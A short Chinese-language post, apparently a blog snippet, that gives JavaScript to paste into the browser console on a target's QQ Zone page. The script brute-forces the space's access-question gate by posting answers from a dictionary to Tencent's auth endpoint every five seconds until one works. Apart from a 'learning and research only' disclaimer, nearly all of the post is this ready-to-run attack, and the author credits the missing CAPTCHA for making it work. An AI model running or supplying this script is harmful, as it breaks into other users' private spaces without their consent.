免责声明: 该代码仅限用于学习和研究目的；不得将下述内容用于非法用途

chrome打开 http://user.qzone.qq.com/qq号，打开开发者工具，在命令行输入如下代码

var answers = [];//字典
var con = $e(Limit.container);
var url = "http://" + baseDomain + "/cgi-bin/user/cgi_auth";
var qqzoneUrl = "http://user.qzone.qq.com/qq号";
var i=0;
function check(answer)	{
        var sendData = {"question": "问题内容","answer": answer ,"uin": Limit.uin,"mode": 2,"g_tk": QZFL.pluginsDefine.getACSRFToken(),"fupdate": 1};
        var _loader = new QZFL.FormSender(url, "post", sendData, "gb2312");
        _loader.onSuccess = function(re) {
            if (re.code == 0){
		alert("答案正确:"+answers[i]);
                location = decodeURIComponent(qqzoneUrl);
            }else{
		console.log("答案错误:"+answers[i]);
		i++;
		if(i<answers.length){	
                	setTimeout(function() {
				check(answers[i]);
			},5000);
		}
	    }
        };
        _loader.send();
}
check(answers[0]);

方法很傻，递归ajax，尝试字典中所有知道的答案。

主要是腾讯没有加验证码给了我可乘之机。